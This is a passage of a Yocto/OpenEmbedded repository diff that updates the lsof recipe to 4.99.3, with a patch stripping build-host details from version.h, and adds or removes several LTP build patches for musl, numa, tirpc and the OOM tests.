- sed -i -e 's/lsbarch/ppc64/g' -e 's/targetarch/ppc64/g' ${D}/opt/lsb-test/packages_list
- sed -i -e 's/targetarch/PPC64/g' ${D}/opt/lsb-test/session
- fi
- fi
-}
-
-FILES_${PN} += "/opt/lsb-test/* \
- "
diff --git a/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch b/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch
deleted file mode 100644
index b7d2323dc9..0000000000
--- a/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch
+++ /dev/null
@@ -1,76 +0,0 @@
-Remove host information from version.h
-
-make lsof not include host information
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Li Wang <li.wang@windriver.com>
----
- dialects/linux/Makefile | 50 +++++++++--------------------------------------
- 1 file changed, 9 insertions(+), 41 deletions(-)
-
-diff --git a/dialects/linux/Makefile b/dialects/linux/Makefile
-index 2bea108..792142b 100644
---- a/dialects/linux/Makefile
-+++ b/dialects/linux/Makefile
-@@ -76,48 +76,16 @@ version.h: FRC
- @echo Constructing version.h
- @rm -f version.h
- @echo '#define LSOF_BLDCMT "${LSOF_BLDCMT}"' > version.h;
-- @echo '#define LSOF_CC "${CC}"' >> version.h
-- @echo '#define LSOF_CCV "${CCV}"' >> version.h
-- @echo '#define LSOF_CCDATE "'`date`'"' >> version.h
-- @echo '#define LSOF_CCFLAGS "'`echo ${CFLAGS} | sed 's/\\\\(/\\(/g' | sed 's/\\\\)/\\)/g' | sed 's/"/\\\\"/g'`'"' >> version.h
-+ @echo '#define LSOF_CC ""' >> version.h
-+ @echo '#define LSOF_CCV ""' >> version.h
-+ @echo '#define LSOF_CCDATE ""' >> version.h
-+ @echo '#define LSOF_CCFLAGS ""' >> version.h
- @echo '#define LSOF_CINFO "${CINFO}"' >> version.h
-- @if [ "X${LSOF_HOST}" = "X" ]; then \
-- echo '#define LSOF_HOST "'`uname -n`'"' >> version.h; \
-- else \
-- if [ "${LSOF_HOST}" = "none" ]; then \
-- echo '#define LSOF_HOST ""' >> version.h; \
-- else \
-- echo '#define LSOF_HOST "${LSOF_HOST}"' >> version.h; \
-- fi \
-- fi
-- @echo '#define LSOF_LDFLAGS "${CFGL}"' >> version.h
-- @if [ "X${LSOF_LOGNAME}" = "X" ]; then \
-- echo '#define LSOF_LOGNAME "${LOGNAME}"' >> version.h; \
-- else \
-- if [ "${LSOF_LOGNAME}" = "none" ]; then \
-- echo '#define LSOF_LOGNAME ""' >> version.h; \
-- else \
-- echo '#define LSOF_LOGNAME "${LSOF_LOGNAME}"' >> version.h; \
-- fi; \
-- fi
-- @if [ "X${LSOF_SYSINFO}" = "X" ]; then \
-- echo '#define LSOF_SYSINFO "'`uname -a`'"' >> version.h; \
-- else \
-- if [ "${LSOF_SYSINFO}" = "none" ]; then \
-- echo '#define LSOF_SYSINFO ""' >> version.h; \
-- else \
-- echo '#define LSOF_SYSINFO "${LSOF_SYSINFO}"' >> version.h; \
-- fi \
-- fi
-- @if [ "X${LSOF_USER}" = "X" ]; then \
-- echo '#define LSOF_USER "${USER}"' >> version.h; \
-- else \
-- if [ "${LSOF_USER}" = "none" ]; then \
-- echo '#define LSOF_USER ""' >> version.h; \
-- else \
-- echo '#define LSOF_USER "${LSOF_USER}"' >> version.h; \
-- fi \
-- fi
-+ @echo '#define LSOF_HOST ""' >> version.h;
-+ @echo '#define LSOF_LDFLAGS ""' >> version.h
-+ @echo '#define LSOF_LOGNAME ""' >> version.h;
-+ @echo '#define LSOF_SYSINFO ""' >> version.h;
-+ @echo '#define LSOF_USER ""' >> version.h;
- @sed '/VN/s/.ds VN \(.*\)/#define LSOF_VERSION "\1"/' < version >> version.h
-
- FRC:
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/lsof/files/remove-host-information.patch b/meta/recipes-extended/lsof/files/remove-host-information.patch
new file mode 100644
index 0000000000..1f2b4afa69
--- /dev/null
+++ b/meta/recipes-extended/lsof/files/remove-host-information.patch
@@ -0,0 +1,123 @@
+From 4f05492ac07a7bbaf06dd8265b9cba329e1b53e9 Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@arm.com>
+Date: Wed, 30 Aug 2017 15:05:16 +0800
+Subject: [PATCH] lsof: remove host information from version.h
+
+lsof doesn't embed the username or hostname in the build if SOURCE_DATE_EPOCH is
+defined, but this still embeds build paths. Delete all of the host details to
+ensure that no host information is leaked into the binary.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ autotools/version.h.in | 16 ++++-----
+ lib/dialects/linux/Makefile | 69 ++++++-------------------------------
+ 2 files changed, 19 insertions(+), 66 deletions(-)
+
+diff --git a/autotools/version.h.in b/autotools/version.h.in
+index aac0b80..2e635a5 100644
+--- a/autotools/version.h.in
++++ b/autotools/version.h.in
+@@ -37,13 +37,13 @@
+
+ #include "config.h"
+ #define LSOF_VERSION PACKAGE_VERSION
+-#define LSOF_HOST "@host@"
+-#define LSOF_LOGNAME "@logname@"
+-#define LSOF_USER "@user@"
+-#define LSOF_CC "@cc@"
+-#define LSOF_CCV "@ccv@"
+-#define LSOF_CCFLAGS "@ccflags@"
+-#define LSOF_LDFLAGS "@ldflags@"
+-#define LSOF_SYSINFO "@sysinfo@"
++#define LSOF_HOST ""
++#define LSOF_LOGNAME ""
++#define LSOF_USER ""
++#define LSOF_CC ""
++#define LSOF_CCV ""
++#define LSOF_CCFLAGS ""
++#define LSOF_LDFLAGS ""
++#define LSOF_SYSINFO ""
+
+ #endif
+diff --git a/lib/dialects/linux/Makefile b/lib/dialects/linux/Makefile
+index f8adaa6..7a79ca7 100644
+--- a/lib/dialects/linux/Makefile
++++ b/lib/dialects/linux/Makefile
+@@ -83,64 +83,17 @@ ${LIB}: FRC
+ version.h: FRC
+ @echo Constructing version.h
+ @rm -f version.h
+- @echo '#define LSOF_BLDCMT "${LSOF_BLDCMT}"' > version.h;
+- @echo '#define LSOF_CC "${CC}"' >> version.h
+- @echo '#define LSOF_CCV "${CCV}"' >> version.h
+- @echo '#define LSOF_CCFLAGS "'`echo ${CFLAGS} | sed 's/\\\\(/\\(/g' | sed 's/\\\\)/\\)/g' | sed 's/"/\\\\"/g'`'"' >> version.h
+- @echo '#define LSOF_CINFO "${CINFO}"' >> version.h
+- @if [ "X${LSOF_HOST}" = "X" ]; then \
+- if [ "X${SOURCE_DATE_EPOCH}" = "X" ]; then \
+- echo '#define LSOF_HOST "'`uname -n`'"' >> version.h; \
+- else \
+- echo '#define LSOF_HOST ""' >> version.h; \
+- fi \
+- else \
+- if [ "${LSOF_HOST}" = "none" ]; then \
+- echo '#define LSOF_HOST ""' >> version.h; \
+- else \
+- echo '#define LSOF_HOST "${LSOF_HOST}"' >> version.h; \
+- fi \
+- fi
+- @echo '#define LSOF_LDFLAGS "${CFGL}"' >> version.h
+- @if [ "X${LSOF_LOGNAME}" = "X" ]; then \
+- if [ "X${SOURCE_DATE_EPOCH}" = "X" ]; then \
+- echo '#define LSOF_LOGNAME "${LOGNAME}"' >> version.h; \
+- else \
+- echo '#define LSOF_LOGNAME ""' >> version.h; \
+- fi \
+- else \
+- if [ "${LSOF_LOGNAME}" = "none" ]; then \
+- echo '#define LSOF_LOGNAME ""' >> version.h; \
+- else \
+- echo '#define LSOF_LOGNAME "${LSOF_LOGNAME}"' >> version.h; \
+- fi; \
+- fi
+- @if [ "X${LSOF_SYSINFO}" = "X" ]; then \
+- if [ "X${SOURCE_DATE_EPOCH}" = "X" ]; then \
+- echo '#define LSOF_SYSINFO "'`uname -a`'"' >> version.h; \
+- else \
+- echo '#define LSOF_SYSINFO ""' >> version.h; \
+- fi \
+- else \
+- if [ "${LSOF_SYSINFO}" = "none" ]; then \
+- echo '#define LSOF_SYSINFO ""' >> version.h; \
+- else \
+- echo '#define LSOF_SYSINFO "${LSOF_SYSINFO}"' >> version.h; \
+- fi \
+- fi
+- @if [ "X${LSOF_USER}" = "X" ]; then \
+- if [ "X${SOURCE_DATE_EPOCH}" = "X" ]; then \
+- echo '#define LSOF_USER "${USER}"' >> version.h; \
+- else \
+- echo '#define LSOF_USER ""' >> version.h; \
+- fi \
+- else \
+- if [ "${LSOF_USER}" = "none" ]; then \
+- echo '#define LSOF_USER ""' >> version.h; \
+- else \
+- echo '#define LSOF_USER "${LSOF_USER}"' >> version.h; \
+- fi \
+- fi
++
++ @echo '#define LSOF_BLDCMT ""' > version.h;
++ @echo '#define LSOF_CC ""' >> version.h
++ @echo '#define LSOF_CCV ""' >> version.h
++ @echo '#define LSOF_CCFLAGS ""' >> version.h
++ @echo '#define LSOF_CINFO ""' >> version.h
++ @echo '#define LSOF_HOST ""' >> version.h
++ @echo '#define LSOF_LDFLAGS ""' >> version.h
++ @echo '#define LSOF_LOGNAME ""' >> version.h
++ @echo '#define LSOF_SYSINFO ""' >> version.h
++ @echo '#define LSOF_USER ""' >> version.h
+ @sed '/VN/s/.ds VN \(.*\)/#define LSOF_VERSION "\1"/' < version >> version.h
+
+ FRC:
diff --git a/meta/recipes-extended/lsof/lsof_4.89.bb b/meta/recipes-extended/lsof/lsof_4.89.bb
deleted file mode 100644
index 14546db23c..0000000000
--- a/meta/recipes-extended/lsof/lsof_4.89.bb
+++ /dev/null
@@ -1,64 +0,0 @@
-SUMMARY = "LiSt Open Files tool"
-DESCRIPTION = "Lsof is a Unix-specific diagnostic tool. \
-Its name stands for LiSt Open Files, and it does just that."
-HOMEPAGE = "http://people.freebsd.org/~abe/"
-SECTION = "devel"
-LICENSE = "BSD"
-LIC_FILES_CHKSUM = "file://00README;beginline=645;endline=679;md5=964df275d26429ba3b39dbb9f205172a"
-
-# Upstream lsof releases are hosted on an ftp server which times out download
-# attempts from hosts for which it can not perform a DNS reverse-lookup (See:
-# https://people.freebsd.org/~abe/ ). http://www.mirrorservice.org seems to be
-# the most commonly used alternative.
-
-SRC_URI = "http://www.mirrorservice.org/sites/lsof.itap.purdue.edu/pub/tools/unix/lsof/lsof_${PV}.tar.bz2 \
- file://lsof-remove-host-information.patch \
- "
-
-SRC_URI[md5sum] = "1b9cd34f3fb86856a125abbf2be3a386"
-SRC_URI[sha256sum] = "81ac2fc5fdc944793baf41a14002b6deb5a29096b387744e28f8c30a360a3718"
-
-LOCALSRC = "file://${WORKDIR}/lsof_${PV}/lsof_${PV}_src.tar"
-
-S = "${WORKDIR}/lsof_${PV}_src"
-
-python do_unpack () {
- # temporarily change S for unpack
- # of lsof_${PV}
- s = d.getVar('S', False)
- d.setVar('S', '${WORKDIR}/lsof_${PV}')
- bb.build.exec_func('base_do_unpack', d)
- # temporarily change SRC_URI for unpack
- # of lsof_${PV}_src
- src_uri = d.getVar('SRC_URI', False)
- d.setVar('SRC_URI', '${LOCALSRC}')
- d.setVar('S', s)
- bb.build.exec_func('base_do_unpack', d)
- d.setVar('SRC_URI', src_uri)
-}
-
-export LSOF_INCLUDE = "${STAGING_INCDIR}"
-
-do_configure () {
- export LSOF_AR="${AR} cr"
- export LSOF_RANLIB="${RANLIB}"
- if [ "x${GLIBCVERSION}" != "x" ]; then
- LINUX_CLIB=`echo ${GLIBCVERSION} |sed -e 's,\.,,g'`
- LINUX_CLIB="-DGLIBCV=${LINUX_CLIB}"
- export LINUX_CLIB
- fi
- yes | ./Configure linux
-}
-
-export I = "${STAGING_INCDIR}"
-export L = "${STAGING_INCDIR}"
-
-do_compile () {
- oe_runmake 'CC=${CC}' 'CFGL=${LDFLAGS} -L./lib -llsof' 'DEBUG=' 'INCL=${CFLAGS}'
-}
-
-do_install () {
- install -d ${D}${sbindir} ${D}${mandir}/man8
- install -m 0755 lsof ${D}${sbindir}/lsof
- install -m 0644 lsof.8 ${D}${mandir}/man8/lsof.8
-}
diff --git a/meta/recipes-extended/lsof/lsof_4.99.3.bb b/meta/recipes-extended/lsof/lsof_4.99.3.bb
new file mode 100644
index 0000000000..93e91fb427
--- /dev/null
+++ b/meta/recipes-extended/lsof/lsof_4.99.3.bb
@@ -0,0 +1,23 @@
+SUMMARY = "LiSt Open Files tool"
+DESCRIPTION = "Lsof is a Unix-specific diagnostic tool. \
+Its name stands for LiSt Open Files, and it does just that."
+HOMEPAGE = "http://people.freebsd.org/~abe/"
+SECTION = "devel"
+LICENSE = "Spencer-94"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a48ac97a8550eff12395a2c0d6151510"
+
+SRC_URI = "git://github.com/lsof-org/lsof;branch=master;protocol=https \
+ file://remove-host-information.patch"
+SRCREV = "2e4c7a1a9bc7258dc5b6a3ab28ebca44174279a8"
+
+S = "${WORKDIR}/git"
+
+inherit update-alternatives autotools pkgconfig manpages
+PACKAGECONFIG[manpages] = ""
+
+DEPENDS += "groff-native"
+
+ALTERNATIVE:${PN} = "lsof"
+ALTERNATIVE_LINK_NAME[lsof] = "${bindir}/lsof"
+# Make our priority higher than busybox
+ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch b/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch
new file mode 100644
index 0000000000..cc98079651
--- /dev/null
+++ b/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch
@@ -0,0 +1,35 @@
+From e87c2ad1e16cdbd62ba71b2ace3270503decaa56 Mon Sep 17 00:00:00 2001
+From: "Mingde (Matthew) Zeng" <matthewzmd@gmail.com>
+Date: Wed, 29 Jul 2020 08:47:09 -0400
+Subject: [PATCH] Remove OOM tests from runtest/mm
+
+Disable OOM tests, as they might cause oeqa ssh connection lost
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Mingde (Matthew) Zeng <matthew.zeng@windriver.com>
+[ pvorel: rebased for 20210927 ]
+Signed-off-by: Petr Vorel <petr.vorel@gmail.com>
+---
+ runtest/mm | 6 ------
+ 1 file changed, 6 deletions(-)
+
+diff --git a/runtest/mm b/runtest/mm
+index d859b331c..3c2962f44 100644
+--- a/runtest/mm
++++ b/runtest/mm
+@@ -74,12 +74,6 @@ ksm07 ksm07
+
+ cpuset01 cpuset01
+
+-oom01 oom01
+-oom02 oom02
+-oom03 oom03
+-oom04 oom04
+-oom05 oom05
+-
+ swapping01 swapping01 -i 5
+
+ thp01 thp01 -I 120
+--
+2.43.0
+
diff --git a/meta/recipes-extended/ltp/ltp/0001-add-_GNU_SOURCE-to-pec_listener.c.patch b/meta/recipes-extended/ltp/ltp/0001-add-_GNU_SOURCE-to-pec_listener.c.patch
deleted file mode 100644
index 7ec66f8147..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-add-_GNU_SOURCE-to-pec_listener.c.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From ae10245c15a617bd57337981bb42eb36629f9b59 Mon Sep 17 00:00:00 2001
-From: Dengke Du <dengke.du@windriver.com>
-Date: Wed, 8 Feb 2017 15:53:31 +0800
-Subject: [PATCH 01/26] add _GNU_SOURCE to pec_listener.c
-
-In previous patch 0007-replace-SIGCLD-with-SIGCHLD.patch made by Khem Raj
-contains two aspects:
-
- 1. replace SIGCLD with SIGCHLD
- 2. add _GNU_SOURCE to pec_listener.c
-
-The replace SIGCLD with SIGCHLD have been integrated upstream, so make a
-another patch to add _GNU_SOURCE to pec_listener.c comply with Khem Raj's
-previous patch.
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
-Upstream-Status: Pending
-
-%% original patch: 0001-add-_GNU_SOURCE-to-pec_listener.c.patch
----
- testcases/kernel/connectors/pec/pec_listener.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/testcases/kernel/connectors/pec/pec_listener.c b/testcases/kernel/connectors/pec/pec_listener.c
-index d11e4dc..b8b5e0d 100644
---- a/testcases/kernel/connectors/pec/pec_listener.c
-+++ b/testcases/kernel/connectors/pec/pec_listener.c
-@@ -20,6 +20,7 @@
- /* */
- /******************************************************************************/
-
-+#define _GNU_SOURCE
- #include <sys/socket.h>
- #include <sys/poll.h>
- #include <sys/types.h>
---
-2.8.1
-
diff --git a/meta/recipes-extended/ltp/ltp/0001-scenario_groups-default-remove-connectors.patch b/meta/recipes-extended/ltp/ltp/0001-scenario_groups-default-remove-connectors.patch
new file mode 100644
index 0000000000..4a50d1ae38
--- /dev/null
+++ b/meta/recipes-extended/ltp/ltp/0001-scenario_groups-default-remove-connectors.patch
@@ -0,0 +1,34 @@
+From 14c710cae38aa96bd8d681e891b6a1d691f99988 Mon Sep 17 00:00:00 2001
+From: Xiangyu Chen <xiangyu.chen@windriver.com>
+Date: Thu, 14 Mar 2024 09:47:10 +0800
+Subject: [PATCH] scenario_groups/default: remove connectors
+
+runtest/connectors was removed in 9b642d89c, thus update scenario_groups/default.
+
+Fixes: 9b642d89c ("runtest: Merge runtest/connectors to kernel_misc")
+Closes: https://github.com/linux-test-project/ltp/pull/1144
+
+Upstream-Status: Backport from
+[https://github.com/linux-test-project/ltp/commit/14c710ca]
+
+Reviewed-by: Petr Vorel <pvorel@suse.cz>
+Signed-off-by: Xiangyu Chen <xiangyu.chen@windriver.com>
+---
+ scenario_groups/default | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/scenario_groups/default b/scenario_groups/default
+index f17b2061a..ec77d8fb8 100644
+--- a/scenario_groups/default
++++ b/scenario_groups/default
+@@ -16,7 +16,6 @@ controllers
+ filecaps
+ cap_bounds
+ fcntl-locktests
+-connectors
+ power_management_tests
+ hugetlb
+ commands
+--
+2.34.1
+
diff --git a/meta/recipes-extended/ltp/ltp/0002-Add-knob-to-control-whether-numa-support-should-be-c.patch b/meta/recipes-extended/ltp/ltp/0002-Add-knob-to-control-whether-numa-support-should-be-c.patch
deleted file mode 100644
index 98650205d8..0000000000
--- a/meta/recipes-extended/ltp/ltp/0002-Add-knob-to-control-whether-numa-support-should-be-c.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From 867ad5d5d64b9b27ee32148027532db0a00f6433 Mon Sep 17 00:00:00 2001
-From: "Roy.Li" <rongqing.li@windriver.com>
-Date: Thu, 7 Jan 2016 17:33:26 +0000
-Subject: [PATCH 02/32] Add knob to control whether numa support should be
- checked
-
-otherwise undeterministic dependency will be generated
-during build depending upong numa being staged or not
-
-Signed-off-by: Roy.Li <rongqing.li@windriver.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
----
- m4/ltp-numa.m4 | 10 +++++++++-
- 1 file changed, 9 insertions(+), 1 deletion(-)
-
-diff --git a/m4/ltp-numa.m4 b/m4/ltp-numa.m4
-index 60ae07b..ed7078d 100644
---- a/m4/ltp-numa.m4
-+++ b/m4/ltp-numa.m4
-@@ -24,7 +24,13 @@ dnl ----------------------------
- dnl
- AC_DEFUN([LTP_CHECK_SYSCALL_NUMA],
- [dnl
--AC_CHECK_HEADERS([linux/mempolicy.h numa.h numaif.h],[
-+AC_MSG_CHECKING([for numa])
-+AC_ARG_WITH(
-+ [numa],
-+ AC_HELP_STRING([--without-numa],
-+ [without numa support]),
-+ [],
-+ [AC_CHECK_HEADERS([linux/mempolicy.h numa.h numaif.h],[
- LTP_SYSCALL_NUMA_HEADERS=yes
- AC_CHECK_LIB(numa,numa_alloc_onnode,[have_numa_alloc_onnode="yes"])
- if test "x$have_numa_alloc_onnode" = "xyes"; then
-@@ -48,3 +54,5 @@ if test "x$have_mpol_constants" = "xyes"; then
- AC_DEFINE(HAVE_MPOL_CONSTANTS,1,[define to 1 if you have all constants required to use mbind tests])
- fi
- )])
-+AC_MSG_RESULT([$with_numa])
-+])
---
-2.7.0
-
diff --git a/meta/recipes-extended/ltp/ltp/0003-Add-knob-to-control-tirpc-support.patch b/meta/recipes-extended/ltp/ltp/0003-Add-knob-to-control-tirpc-support.patch
deleted file mode 100644
index 5cf1e05f79..0000000000
--- a/meta/recipes-extended/ltp/ltp/0003-Add-knob-to-control-tirpc-support.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From b193011da301b3d944e8fddcf4817513c31c5b88 Mon Sep 17 00:00:00 2001
-From: Fathi Boudra <fathi.boudra@linaro.org>
-Date: Thu, 7 Jan 2016 17:36:19 +0000
-Subject: [PATCH 03/32] Add knob to control tirpc support
-
-allow to disable tirpc. Helps to disable it at top level for eg. musl it
-does not yet work.
-
-Signed-off-by: Fathi Boudra <fathi.boudra@linaro.org>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
----
- configure.ac | 9 +++++++++
- 1 file changed, 9 insertions(+)
-
-diff --git a/configure.ac b/configure.ac
-index cc50397..9e2936b 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -98,6 +98,13 @@ if test "x$with_python" = xyes; then
- else
- AC_SUBST([WITH_PYTHON],["no"])
- fi
-+
-+# TI RPC
-+AC_ARG_WITH([tirpc],
-+ AC_HELP_STRING([--without-tirpc],
-+ [without libtirpc support]),
-+ [],[with_tirpc=yes],
-+)
- # END tools knobs
-
- # Testsuites knobs
-@@ -169,7 +176,9 @@ LTP_CHECK_RENAMEAT2
- LTP_CHECK_FALLOCATE
- LTP_CHECK_SYSCALL_FCNTL
- LTP_CHECK_SYSCALL_PERF_EVENT_OPEN
-+if test "x$with_tirpc" = xyes; then
- LTP_CHECK_TIRPC
-+fi
- LTP_CHECK_TEE
- LTP_CHECK_SPLICE
- LTP_CHECK_VMSPLICE
---
-2.7.0
-
diff --git a/meta/recipes-extended/ltp/ltp/0004-build-Add-option-to-select-libc-implementation.patch b/meta/recipes-extended/ltp/ltp/0004-build-Add-option-to-select-libc-implementation.patch
deleted file mode 100644
index cf744639c2..0000000000
--- a/meta/recipes-extended/ltp/ltp/0004-build-Add-option-to-select-libc-implementation.patch
+++ /dev/null
@@ -1,148 +0,0 @@
-From 53acddddf1b324e06af886ee4639b774e5c8c8bc Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 7 Jan 2016 18:19:03 +0000
-Subject: [PATCH 04/32] build: Add option to select libc implementation
-
-There are more than glibc for C library implementation available on
-linux now a days, uclibc cloaked like glibc but musl e.g. is very
-different and does not implement all GNU extentions
-
-Disable tests specifically not building _yet_ on musl based systems
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
----
- Makefile | 5 +++++
- testcases/kernel/Makefile | 5 ++++-
- testcases/kernel/sched/Makefile | 4 +++-
- testcases/kernel/syscalls/Makefile | 5 +++++
- testcases/network/nfsv4/acl/Makefile | 4 ++++
- testcases/network/rpc/basic_tests/Makefile | 5 +++++
- testcases/realtime/func/pi-tests/Makefile | 4 ++++
- testcases/realtime/stress/pi-tests/Makefile | 5 +++++
- 8 files changed, 35 insertions(+), 2 deletions(-)
-
-diff --git a/Makefile b/Makefile
-index 297f8e7..906b280 100644
---- a/Makefile
-+++ b/Makefile
-@@ -49,6 +49,11 @@ SKIP_IDCHECK ?= 0
- UCLINUX ?= 0
- export UCLINUX
-
-+# System C library implementation (glibc,uclibc,musl etc.)
-+# default to glibc if not set
-+LIBC ?= glibc
-+export LIBC
-+
- # CLEAN_TARGETS: Targets which exist solely in clean.
- # COMMON_TARGETS: Targets which exist in all, clean, and install.
- # INSTALL_TARGETS: Targets which exist in clean and install (contains
-diff --git a/testcases/kernel/Makefile b/testcases/kernel/Makefile
-index 50a12fa..4f1987f 100644
---- a/testcases/kernel/Makefile
-+++ b/testcases/kernel/Makefile
-@@ -47,13 +47,16 @@ SUBDIRS += connectors \
- logging \
- mem \
- numa \
-- pty \
- sched \
- security \
- timers \
- tracing \
- module \
-
-+ifneq ($(LIBC),musl)
-+SUBDIRS += pty
-+endif
-+
- ifeq ($(WITH_POWER_MANAGEMENT_TESTSUITE),yes)
- SUBDIRS += power_management
- endif
-diff --git a/testcases/kernel/sched/Makefile b/testcases/kernel/sched/Makefile
-index 6245ed0..aa4eb7f 100644
---- a/testcases/kernel/sched/Makefile
-+++ b/testcases/kernel/sched/Makefile
-@@ -23,5 +23,7 @@
- top_srcdir ?= ../../..
-
- include $(top_srcdir)/include/mk/env_pre.mk
--
-+ifeq ($(LIBC),musl)
-+ FILTER_OUT_DIRS += process_stress
-+endif
- include $(top_srcdir)/include/mk/generic_trunk_target.mk
-diff --git a/testcases/kernel/syscalls/Makefile b/testcases/kernel/syscalls/Makefile
-index 8acb395..b749126 100644
---- a/testcases/kernel/syscalls/Makefile
-+++ b/testcases/kernel/syscalls/Makefile
-@@ -28,5 +28,10 @@ ifeq ($(UCLINUX),1)
- FILTER_OUT_DIRS += capget capset chmod chown clone fork getcontext llseek \
- mincore mprotect nftw profil remap_file_pages sbrk
- endif
-+ifeq ($(LIBC),musl)
-+FILTER_OUT_DIRS += confstr fmtmsg getcontext ioctl mallopt profil \
-+ rt_sigsuspend setdomainname sethostname sigsuspend \
-+ ustat
-+endif
-
- include $(top_srcdir)/include/mk/generic_trunk_target.mk
-diff --git a/testcases/network/nfsv4/acl/Makefile b/testcases/network/nfsv4/acl/Makefile
-index 8bc78c2..c36cf50 100644
---- a/testcases/network/nfsv4/acl/Makefile
-+++ b/testcases/network/nfsv4/acl/Makefile
-@@ -26,4 +26,8 @@ include $(top_srcdir)/include/mk/env_pre.mk
-
- LDLIBS += $(ACL_LIBS)
-
-+ifeq ($(LIBC),musl)
-+FILTER_OUT_MAKE_TARGETS := acl1
-+endif
-+
- include $(top_srcdir)/include/mk/generic_leaf_target.mk
-diff --git a/testcases/network/rpc/basic_tests/Makefile b/testcases/network/rpc/basic_tests/Makefile
-index 3160813..9bdf5d0 100644
---- a/testcases/network/rpc/basic_tests/Makefile
-+++ b/testcases/network/rpc/basic_tests/Makefile
-@@ -23,4 +23,9 @@
- top_srcdir ?= ../../../..
-
- include $(top_srcdir)/include/mk/env_pre.mk
-+
-+ifeq ($(LIBC),musl)
-+FILTER_OUT_DIRS += rpc01
-+endif
-+
- include $(top_srcdir)/include/mk/generic_trunk_target.mk
-diff --git a/testcases/realtime/func/pi-tests/Makefile b/testcases/realtime/func/pi-tests/Makefile
-index 7a7a57a..5808866 100644
---- a/testcases/realtime/func/pi-tests/Makefile
-+++ b/testcases/realtime/func/pi-tests/Makefile
-@@ -27,5 +27,9 @@ include $(top_srcdir)/include/mk/env_pre.mk
- include $(abs_srcdir)/../../config.mk
-
- MAKE_TARGETS := testpi-0 testpi-1 testpi-2 testpi-4 testpi-5 testpi-6 testpi-7 sbrk_mutex
-+ifeq ($(LIBC),musl)
-+FILTER_OUT_MAKE_TARGETS := testpi-5 testpi-6 sbrk_mutex
-+endif
-+
-
- include $(top_srcdir)/include/mk/generic_leaf_target.mk
-diff --git a/testcases/realtime/stress/pi-tests/Makefile b/testcases/realtime/stress/pi-tests/Makefile
-index 5edc3b4..aa5987a 100644
---- a/testcases/realtime/stress/pi-tests/Makefile
-+++ b/testcases/realtime/stress/pi-tests/Makefile
-@@ -24,4 +24,9 @@ top_srcdir ?= ../../../..
-
- include $(top_srcdir)/include/mk/env_pre.mk
- include $(abs_srcdir)/../../config.mk
-+
-+ifeq ($(LIBC),musl)
-+FILTER_OUT_MAKE_TARGETS := testpi-3
-+endif
-+
- include $(top_srcdir)/include/mk/generic_leaf_target.mk
---
-2.7.0
-
diff --git a/meta/recipes-extended/ltp/ltp/0005-kernel-controllers-Link-with-libfts-explicitly-on-mu.patch b/meta/recipes-extended/ltp/ltp/0005-kernel-controllers-Link-with-libfts-explicitly-on-mu.patch
deleted file mode 100644
index b9390e2c8a..0000000000
--- a/meta/recipes-extended/ltp/ltp/0005-kernel-controllers-Link-with-libfts-explicitly-on-mu.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From 6e3058521b50d91d4b0569c4d491c5af5ff798b2 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 7 Jan 2016 18:22:38 +0000
-Subject: [PATCH 05/32] kernel/controllers: Link with libfts explicitly on musl
-
-musl does not implement fts like glibc and therefore it depends on
-external implementation for all fts APIs
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
----
- testcases/kernel/controllers/Makefile.inc | 3 +++
- testcases/kernel/controllers/cpuset/Makefile.inc | 3 +++
- 2 files changed, 6 insertions(+)
-
-diff --git a/testcases/kernel/controllers/Makefile.inc b/testcases/kernel/controllers/Makefile.inc
-index b106283..ef5fc0c 100644
---- a/testcases/kernel/controllers/Makefile.inc
-+++ b/testcases/kernel/controllers/Makefile.inc
-@@ -36,6 +36,9 @@ MAKE_DEPS := $(LIB)
- CPPFLAGS += -I$(abs_srcdir)/../$(LIBDIR)
-
- LDFLAGS += -L$(abs_builddir)/../$(LIBDIR)
-+ifeq ($(LIBC),musl)
-+LDLIBS += -lfts
-+endif
-
- INSTALL_TARGETS ?= *.sh
-
-diff --git a/testcases/kernel/controllers/cpuset/Makefile.inc b/testcases/kernel/controllers/cpuset/Makefile.inc
-index 9e002f4..e0fcb9c 100644
---- a/testcases/kernel/controllers/cpuset/Makefile.inc
-+++ b/testcases/kernel/controllers/cpuset/Makefile.inc
-@@ -42,6 +42,9 @@ MAKE_DEPS := $(LIBCONTROLLERS) $(LIBCPUSET)
- LDFLAGS += -L$(abs_builddir)/$(LIBCPUSET_DIR) -L$(abs_builddir)/$(LIBCONTROLLERS_DIR)
-
- LDLIBS += -lcpu_set -lcontrollers -lltp
-+ifeq ($(LIBC),musl)
-+LDLIBS += -lfts
-+endif
-
- INSTALL_TARGETS ?= *.sh
-
---
-2.7.0
-
